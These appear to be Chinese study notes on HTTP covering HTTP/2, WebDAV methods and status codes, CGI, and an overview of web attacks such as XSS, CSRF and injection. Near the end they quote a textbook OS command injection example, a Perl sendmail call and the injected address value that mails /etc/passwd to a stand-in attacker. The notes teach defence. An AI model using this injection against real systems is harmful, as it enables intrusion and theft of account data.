9.3 期盼已久的HTTP/2.0

特点：改善用户在使用Web时的速度体验。

基于以下几点：

SPDY

HTTP Speed + Mobility

Network-Friendly HTTP Upgrade

9.4 Web服务器管理文件的WebDev

创建删除基本功能，还具有文件创建者管理，文件编辑过程中禁止其他用户内容覆盖的加锁功能。

使用HTTP/1.1的PUT方法和DELETE方法，就可以对Web服务器上的文件进行创建和删除操作，但是处于安全性考虑，一般不使用。

扩展HTTP/1.1的WebDAV：针对服务器上的资源，WebDAV新增加了一些概念：

集合：统一管理多个资源的概念；

资源：文件或集合；

属性：定义资源的属性："名称 = 值"

锁：把文件设置成无法编辑状态，多人同时编辑室，可防止在同一时间进行内容写入。

WebDAV为实现远程文件管理，向HTTP/1.1中追加了以下这些方法：

102：处理中

207：存在多种状态

422：格式正确，内容有误

423：已加锁

424：处理与某请求关联的请求失败，因此不再维持依赖关系。

507：保存空间不足

PROPFIND：获取属性

PROPPATCH：修改属性

MKCOL：创建集合

COPY：复制资源及属性

MOVE：移动

LOCK：枷锁

UNLOCK：资源解锁

十. 构建Web内容的技术 10.1 Web应用

原本HTTP协议的Web机制就是对客户端发来的请求，返回事前准备好的内容。随着Web越发普及，需要引入程序创建HTML内容的做法，这种由程序创建内容的方法称为动态内容。

与Web服务器及程序协作的CGI（Common Gateway Interface，通用网关接口）是指Web服务器在接收到客户端发送过来的请求后转发给程序的一组机制。在CGI的作用下，程序会对请求内容做出相应的动作，比如创建HTML等动态内容。

因Java而普及的Servlet

10.4 数据发布的格式及语言

XML

RSS

Atom

JSON

十一 Web的攻击技术

攻击大都将Web站点作为目标。

11.1 针对Web的攻击技术

HTTP协议本身不存在安全性问题。应用HTTP协议的服务器和客户端以及运行在服务器上的Web应用等资源才是攻击目标。

目前，来自互联网的攻击大都是冲着Web站点来的。

HTTP不具备必要的安全功能：HTTP就是一个通用的单纯协议机制，因此它具备很多优势，但是在安全性方面则呈劣势。因此，开发者需要自行设计并开发认证及对话来满足Web安全性，自行设计就会出现各种形形色色的实现。

在客户端即可篡改请求：从浏览器那接收到等HTTP请求的全部内容，都可以在客户端自由地更变，篡改，所以Web应用可能收到与预期数据不同的内容。在HTTP请求报文加载攻击代码，就能发起Web应用的攻击。

针对Web应用的攻击模式

攻击者诱导用户触发已设置好的陷阱，启动发送已嵌入攻击代码的HTTP请求。（广告诱导）

用户不知不觉中招后，浏览器等就会触发这个陷阱。

中招后，浏览器把含有攻击代码的HTTP请求发送给Web应用。

执行后，存在安全漏洞的Web应用会成为攻击者的跳板，可能导致用户所持的Cookie等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果（跨站脚本攻击，跨站点请求伪造）。

利用用户的身份攻击企业内部网络：利用被动攻击，可发起原本从互联网上无法直接访问的企业内网的攻击。

主动攻击：以服务器为目标的主动攻击，攻击者直接访问Web应用，把攻击代码传入的攻击模式，攻击者需要能够访问到那些资源。（SQL注入攻击和OS命令注入攻击）

被动攻击：以服务器为目标的被动攻击，利用圈套策略执行攻击代码的攻击模式。攻击者不直接对目标Web应用访问发起攻击。

11.2 因输出值转义不完全引发的安全漏洞

客户端的验证：不适合作为防范对策，只是为了今早地识别输入错误，提高UI体验的作用。

Web应用程序的验证

输入值验证：按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证检查是否符合系统业务逻辑的数值或检查字符编码等预防对策。

输出值转义：当输出值转义不完全时，会因触发攻击者传入的代码，而给输出对象带来损害。

攻击方法：my $adr = $q -> param('mailaddress'); open(MALL, "| /usr/sbin/sendmail $adr"); print MAIL "From: info@example.comn"; 攻击者将：; cat /etc/passwd | mail hack@example.jp 作为邮件地址，则会执行cat /etc/passwd | mail hack@example.jp命令，含有Linux账户信息 /etc/passwd的文件就以邮件形式发给了攻击者邮件。

设定任何Cookie信息

重定向至任意URL

显示任意的主体信息